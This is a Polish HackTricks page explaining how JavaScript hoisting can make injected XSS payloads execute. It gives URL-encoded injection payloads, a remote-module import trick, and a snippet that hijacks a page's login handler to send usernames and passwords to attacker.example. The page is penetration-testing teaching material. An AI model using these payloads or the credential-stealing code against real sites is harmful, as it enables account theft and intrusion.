JS Hoisting

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

W języku JavaScript istnieje mechanizm znany jako Hoisting, w którym deklaracje zmiennych, funkcji, klas lub importów są konceptualnie podnoszone na początek ich zakresu przed wykonaniem kodu. Proces ten jest wykonywany automatycznie przez silnik JavaScript, który przetwarza skrypt w kilku przebiegach.

Podczas pierwszego przebiegu silnik parsuje kod, sprawdzając błędy składniowe, i przekształca go w abstract syntax tree. Ta faza obejmuje hoisting — proces, w którym niektóre deklaracje są przesuwane na początek kontekstu wykonania. Jeśli faza parsowania zakończy się sukcesem, czyli nie wykryje błędów składniowych, wykonanie skryptu zostaje wznowione.

Ważne jest zrozumienie, że:

  1. Skrypt musi być wolny od błędów składniowych, aby mogło dojść do jego wykonania. Reguły składni muszą być ściśle przestrzegane.
  2. Umiejscowienie kodu w skrypcie wpływa na wykonanie z powodu hoistingu, mimo że wykonywany kod może różnić się od jego reprezentacji tekstowej.

Types of Hoisting

Na podstawie informacji z MDN istnieją cztery odrębne typy hoistingu w JavaScript:

  1. Value Hoisting: Umożliwia użycie wartości zmiennej w jej zakresie przed linią jej deklaracji.
  2. Declaration Hoisting: Pozwala odwołać się do zmiennej w zakresie przed jej deklaracją bez powodowania ReferenceError, lecz wartość zmiennej będzie undefined.
  3. Ten typ zmienia zachowanie w obrębie zakresu z powodu deklaracji zmiennej przed jej rzeczywistą linią deklaracji.
  4. Efekty uboczne deklaracji występują przed oceną reszty kodu, który ją zawiera.

Szczegółowo, function declarations wykazują zachowanie typu 1. Słowo kluczowe var demonstruje zachowanie typu 2. Lexical declarations, które obejmują let, const i class, pokazują zachowanie typu 3. Na koniec, import statements są wyjątkowe, ponieważ są hoistowane z zachowaniami zarówno typu 1, jak i typu 4.

Scenarios

Dlatego jeśli masz scenariusze, w których możesz Inject JS code after an undeclared object jest używany, możesz fix the syntax poprzez zadeklarowanie go (tak, aby twój kod został wykonany zamiast zgłoszenia błędu):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]

Więcej scenariuszy

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()

Hoisting do obejścia obsługi wyjątków

Gdy sink jest opakowany w try { x.y(...) } catch { ... }, ReferenceError zatrzyma wykonanie zanim twój payload zostanie uruchomiony. Możesz zadeklarować wcześniej brakujący identyfikator, aby wywołanie przeszło i twoje wstrzyknięte wyrażenie wykonało się najpierw:

// Original sink (x and y are undefined, but you control INJECT)
x.y(1,INJECT)

// Payload (ch4n3 2023) – hoist x so the call is parsed; use the first argument position for code exec
prompt()) ; function x(){} //

function x(){} jest hoistowane przed ewaluacją, więc parser nie wyrzuca już błędu przy x.y(...); prompt() wykona się zanim y zostanie rozwiązane, a następnie zostanie rzucony TypeError po uruchomieniu twojego kodu.

Zapobiegaj późniejszym deklaracjom, blokując nazwę za pomocą const

Jeśli możesz wykonać kod przed sparsowaniem top-level function foo(){...}, zadeklarowanie wiązania leksykalnego o tej samej nazwie (np. const foo = ...) uniemożliwi późniejszej deklaracji funkcji ponowne powiązanie tego identyfikatora. Można to nadużyć w RXSS, aby przejąć krytyczne obsługiwacze zdefiniowane później na stronie:

// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}

// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding

Notatki

  • To opiera się na kolejności wykonywania i global (top-level) scope.
  • Jeśli twój payload jest wykonywany wewnątrz eval(), pamiętaj, że const/let wewnątrz eval są block-scoped i nie utworzą globalnych powiązań. Wstrzyknij nowy element <script> z kodem, aby ustanowić prawdziwy globalny const.

Dynamic import() with user-controlled specifiers

Aplikacje renderowane po stronie serwera czasami przekazują dane wejściowe użytkownika do import(), aby leniwie ładować komponenty. Jeśli obecny jest loader taki jak import-in-the-middle, z specifiera generowane są moduły opakowujące. Hoisted import evaluation pobiera i wykonuje moduł kontrolowany przez atakującego zanim kolejne linie się uruchomią, umożliwiając RCE w kontekstach SSR (zob. CVE-2023-38704).

Tooling

Nowoczesne skanery zaczęły dodawać jawne hoisting payloady. KNOXSS v3.6.5 wymienia przypadki testowe “JS Injection with Single Quotes Fixing ReferenceError - Object Hoisting” i “Hoisting Override”; uruchomienie go przeciwko kontekstom RXSS, które rzucają ReferenceError/TypeError, szybko ujawnia kandydatów na gadżety oparte na hoistingu.

References

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks